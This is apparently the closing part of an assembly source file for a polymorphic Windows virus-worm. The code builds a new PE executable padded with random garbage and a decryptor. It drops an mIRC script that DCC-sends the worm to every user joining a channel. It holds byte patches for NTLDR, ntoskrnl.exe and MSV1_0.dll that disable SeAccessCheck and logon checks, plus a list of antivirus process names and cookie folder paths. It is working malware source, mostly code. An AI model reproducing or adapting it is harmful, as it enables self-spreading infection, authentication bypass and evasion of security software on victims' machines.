             or           eax,eax
             jz           AbortMirc

             mov          [MapHandle + X],eax

             push         00
             push         00
             push         00
             push         02
             push         dword ptr [MapHandle + X]
             call         MapViewOfFile

             or           eax,eax
             jz           MappingFailed

             mov          [MapBase + X],eax

;
; Fill the worm with blanks, to have a clean header
;

             mov          edi,eax
             pop          ecx
             xor          eax,eax
             repz         stosb

;
; calculate the worm entrypoint
;

             mov          edi,[MapBase + X]

             mov          esi,offset WormHeader - VS
             add          esi,ebp

             call         GetRandGarbage
             mov          [GarbageSize + X],eax

             add          eax,IDATSize
             add          eax,1100
             mov          [esi + 0A8],eax

;
; and the image size
;

             mov          eax,RawVSize
             add          eax,1000
             mov          [esi + 0D0],eax

;
; write the new header and the worm section
;

             mov          ecx,100
             repz         movsb

             add          edi,78
             mov          esi,offset WormSection - VS
             add          esi,ebp
             mov          ecx,28
             repz         movsb

             mov          ecx,260
             xor          al,al
             repz         stosb

;
; add the xtra garbage, which will be used by GetPolyRoutine
; to get the decryption keys
;

             mov          eax,100
             call         AddSomeGarbage

             mov          dword ptr [ImageBase + X],400000

             mov          dword ptr [Code_RVA + X],001000
             mov          dword ptr [Code_Offset + X],400
             mov          dword ptr [Code_Size + X],100

             mov          dword ptr [VirusAddress + X],401100
             mov          dword ptr [VirusOffset + X],500

             call         GetPolyRoutine

;
; setup the importations (otherwise GetProcAddress won't work)
;
; first write the function name (beep)
;

             mov          eax,edi
             mov          ebx,[MapBase + X]
             sub          eax,ebx
             add          eax,0C00
             push         eax
             push         eax

             mov          esi,offset ImportFunc - VS
             add          esi,ebp
             mov          ecx,7
             repz         movsb

             call         GetRandNb
             clc
             shr          eax,1A
             add          eax,4
             call         AddSomeGarbage

;
; write the dll name (kernel32)
;

             mov          eax,edi
             sub          eax,ebx
             add          eax,0C00
             mov          [DLL_RVA + X],eax

             mov          esi,offset ImportDll - VS
             add          esi,ebp
             mov          ecx,0Dh
             repz         movsb

             call         GetRandNb
             clc
             shr          eax,1A
             add          eax,4
             call         AddSomeGarbage

;
; make the image_import_by_name table
;

             mov          ecx,edi
             sub          ecx,ebx
             add          ecx,0C00

             pop          eax
             stosd

             xor          eax,eax
             stosd

;
; make the image import descriptor
;

             mov          esi,edi
             mov          eax,ecx
             stosd
             call         GetRandNb
             stosd
             call         GetRandNb
             stosd
             mov          eax,[DLL_RVA + X]
             stosd
             mov          eax,edi
             add          eax,18
             sub          eax,ebx
             add          eax,0C00
             stosd

             xor          eax,eax
             mov          ecx,5
             repz         stosd

;
; and make the 2nd image_import_by_name table, where the loader will
; put the kernel32 addresses. Strangely, WinNT requires that each element
; points to the function name
;

             pop          eax
             stosd
             xor          eax,eax
             stosd

;
; finally setup the import directory
;

             mov          eax,esi
             sub          eax,ebx
             add          eax,0C00
             mov          [ebx + 100],eax
             mov          dword ptr [ebx + 104],0100

             push         dword ptr [MapBase + X]
             call         UnmapViewOfFile

MappingFailed:

             push         dword ptr [MapHandle + X]
             call         _lclose

AbortMirc:

             push         dword ptr [FileHandle + X]
             call         _lclose
             ret


GetEIP:

             call         @1

@1:
             pop          ebp
             sub          ebp,offset @1 - offset VS

             ret



;
; At the moment, other API than the Kernel32 are not supported
;

Kernel32_API:


CreateFileMappingA:

             db           0B8
             dd           ?
             jmp          eax

             db           'CreateFileMappingA',0

CreateThread:

             db           0B8
             dd           ?
             jmp          eax

             db           'CreateThread',0

DeleteFileA:

             db           0B8
             dd           ?
             jmp          eax

             db           'DeleteFileA',0

DosDateTimeToFileTime:

             db           0B8
             dd           ?
             jmp          eax

             db           'DosDateTimeToFileTime',0

FindClose:

             db           0B8
             dd           ?
             jmp          eax

             db           'FindClose',0

FindFirstFileA:

             db           0B8
             dd           ?
             jmp          eax

             db           'FindFirstFileA',0

FindNextFileA:

             db           0B8
             dd           ?
             jmp          eax

             db           'FindNextFileA',0

GetCurrentDirectoryA:

             db           0B8
             dd           ?
             jmp          eax

             db           'GetCurrentDirectoryA',0

GetDriveTypeA:

             db           0B8
             dd           ?
             jmp          eax

             db           'GetDriveTypeA',0

GetFileSize:

             db           0B8
             dd           ?
             jmp          eax

             db           'GetFileSize',0

GetLocalTime:

             db           0B8
             dd           ?
             jmp          eax

             db           'GetLocalTime',0

GetTickCount:


             db           0B8
             dd           ?
             jmp          eax

             db           'GetTickCount',0

FileTimeToDosDateTime:


             db           0B8
             dd           ?
             jmp          eax

             db           'FileTimeToDosDateTime',0

MapViewOfFile:

             db           0B8
             dd           ?
             jmp          eax

             db           'MapViewOfFile',0

SetFileAttributesA:

             db           0B8
             dd           ?
             jmp          eax

             db           'SetFileAttributesA',0

SetFileTime:

             db           0B8
             dd           ?
             jmp          eax

             db           'SetFileTime',0

VirtualAlloc:

             db           0B8
             dd           ?
             jmp          eax

             db           'VirtualAlloc',0

VirtualFree:

             db           0B8
             dd           ?
             jmp          eax

             db           'VirtualFree',0

UnmapViewOfFile:

             db           0B8
             dd           ?
             jmp          eax

             db           'UnmapViewOfFile',0

_lcreat:

             db           0B8
             dd           ?
             jmp          eax

             db           '_lcreat',0

_llseek:

             db           0B8
             dd           ?
             jmp          eax

             db           '_llseek',0

_lopen:

             db           0B8
             dd           ?
             jmp          eax

             db           '_lopen',0

_lread:

             db           0B8
             dd           ?
             jmp          eax

             db           '_lread',0

_lclose:

             db           0B8
             dd           ?
             jmp          eax

             db           '_lclose',0

_lwrite:

             db           0B8
             dd           ?
             jmp          eax

             db           '_lwrite',0


AV_Names     db           'avp','aler','amon','avp3','avpm','n32s'
             db           'nava','navl','navr','navw','nod3','npss'
             db           'nsch','nspl','scan','smss'
             dd           0

W9x_GPA_Key  db           0C2,04,00,57,6A,22,2Bh,0D2

WNT_GPA_Key  db           0C2,04,00,55,8Bh,4C,24,0C

RMul         dd           07FFFFD9h

RDiv         dd           0FFFFFFFBh

NTLDR        db           ?,':\NTLDR',0

NTOSKRNL     db           ?,':\WINNT\system32\ntoskrnl.exe',0

MSV1_0       db           ?,':\WINNT\system32\MSV1_0.dll',0

OldFileCheck db           3Bh,46,58,74,07

OldSeAccessC db           8A,0C3,5F,5E,5Bh,5Dh,0C2,28,00

OldWriteFile db           0C,02,85,45,0C0,75,12

OldLogonTest db           84,0C0,75,26,33,0C0

NewFileCheck db           3Bh,46,58,0EBh,07

NewSeAccessC db           0B0,01,5F,5E,5Bh,5Dh,0C2,28,00

NewWriteFile db           0C,02,85,45,0C0,0EBh,12

NewLogonTest db           84,0C0,0EBh,26,33,0C0

CookiesDir1  db           '\WINDOWS\Cookies\*.*',0

CookiesDir2  db           '\WINNT\Cookies\*.*',0

MircWormFlag db           01

ScriptName   db           ?,':\mirc\script.ini',0

RandLetters  db           'awixkervtoslnehd'

MircScript   db           '[script]',0Dh,0A
             db           'n0=on 1:JOIN:#:{',0Dh,0A
             db           'n1=if ($nick != $me) {',0Dh,0A
             db           'n2=    /dcc send $nick '
MircName     db           ?,':\mirc\',?,?,?,?,?,'.exe',0Dh,0A
             db           'n3=  }',0Dh,0A
             db           'n4=}',0Dh,0A

MircEnd:


WormHeader   db           4Dh,5A, 90, 00, 03, 00, 00, 00,  04, 00, 00, 00,0FF,0FF, 00, 00
             db          0B8, 00, 00, 00, 00, 00, 00, 00,  40, 00, 00, 00, 00, 00, 00, 00
             db           00, 00, 00, 00, 00, 00, 00, 00,  00, 00, 00, 00, 00, 00, 00, 00
             db           00, 00, 00, 00, 00, 00, 00, 00,  00, 00, 00, 00, 80, 00, 00, 00
             db           0E, 1F,0BA, 0E, 00,0B4, 09,0CDh, 21,0B8, 01, 4C,0CDh,21, 54, 68
             db           69, 73, 20, 70, 72, 6F, 67, 72,  61, 6Dh,20, 63, 61, 6E, 6E, 6F
             db           74, 20, 62, 65, 20, 72, 75, 6E,  20, 69, 6E, 20, 44, 4F, 53, 20
             db           6Dh,6F, 64, 65, 2E, 0Dh,0Dh,0A,  24, 00, 00, 00, 00, 00, 00, 00
             db           50, 45, 00, 00, 4C, 01, 01, 00,  00, 00, 00, 00, 00, 00, 00, 00
             db           00, 00, 00, 00,0E0, 00, 0E, 01,  0Bh,01, 03, 0A, 00, 00, 00, 00
             db           00, 00, 00, 00, 00, 00, 00, 00,  00, 00, 00, 00, 00, 00, 00, 00
             db           00, 00, 00, 00, 00, 00, 40, 00,  00, 10, 00, 00, 00, 02, 00, 00
             db           04, 00, 00, 00, 00, 00, 00, 00,  04, 00, 00, 00, 00, 00, 00, 00
             db           00, 00, 00, 00, 00, 04, 00, 00,  00, 00, 00, 00, 02, 00, 00, 00
             db           00, 00, 10, 00, 00, 10, 00, 00,  00, 00, 10, 00, 00, 10, 00, 00
             db           00, 00, 00, 00, 10, 00, 00, 00,  00, 00, 00, 00, 00, 00, 00, 00


WormSection  db           '.text',0,0,0
             dd           RawVSize                  ; Virual Size
             dd           00001000h                 ; RVA
             dd           ?                         ; Physical Size
             dd           00000400h                 ; Offset
             db           0C dup (?)
             dd           0C0000020h

;
; Hooker contains the polymorphic routine address
;

Hooker       dd           ?

;
; The HostCalls has this structure :
;
;     item 1 - address of the 1st call hooked by the virus
;            - the original value of the call (where ExitVS jumps);
;
;     item 2 : same
;     item 3 : same
;            
;         ....
;



HostCalls    dd           NbHooks * 2 dup (?)


ImportFunc   db           ?,?,'Beep',0

ImportDll    db           'kernel32.dll',0


ALIGN        4


;
; the initialized code & data of the virus end here
;


EndOfCode:


;
; leave a little room for the garbage and the polymorphic routine
;


             db           200 dup (?)


RandNb       dd           ?

K32_Base     dd           ?

ThreadID     dd           ?

SearchHandle dd           ?

CDirEnd      dd           ?

FileHandle   dd           ?

MapHandle    dd           ?

MapBase      dd           ?

FileDate     dw           ?

FileTime     dw           ?

SelF         db           ?

B1A          dd           ?

B2A          dd           ?

FBA          dd           ?

BytesRead    dd           ?

GarbageSize  dd           ?

BlankSize    dd           ?

ImageBase    dd           ?

VirusOffset  dd           ?

VirusAddress dd           ?

VStart       dd           ?

LoopStart    dd           ?

Code_Offset  dd           ?

Code_Size    dd           ?

Code_RVA     dd           ?

Code_Loc     dd           ?

LastSSize    dd           ?

FileSize     dd           ?

Key1_Addr    dd           ?

Key2_Addr    dd           ?

Key3         db           ?

Reg32_A      db           ?

Reg32_B      db           ?

Reg32_C      db           ?

AsOpCode     db           ?

RlModRM      db           ?

DLL_RVA      dd           ?


_Filename    dd           ?

Signature    dd           ?

Patch        dd           ?

PatchSize    dd           ?


Somewhere    dd           NbHooks * 2 dup (?)


CurrentDir   db           100 dup (1)


Buffer1      db           100 dup (2)


Buffer2      db           200 dup (3)


EndOfVirus:


IDATSize     equ          offset EndOfCode - offset VS

VSIZE        equ          offset EndOfVirus - offset VS

RawVSize     equ          VSIZE - (VSIZE mod 1000) + 1000



VIRUS        ENDS


END          MAIN



















































;          Up above the world you fly,
;          Like a tea-tray in the sky.
;          Twinkle, twinkle -
;
;                             L.C.





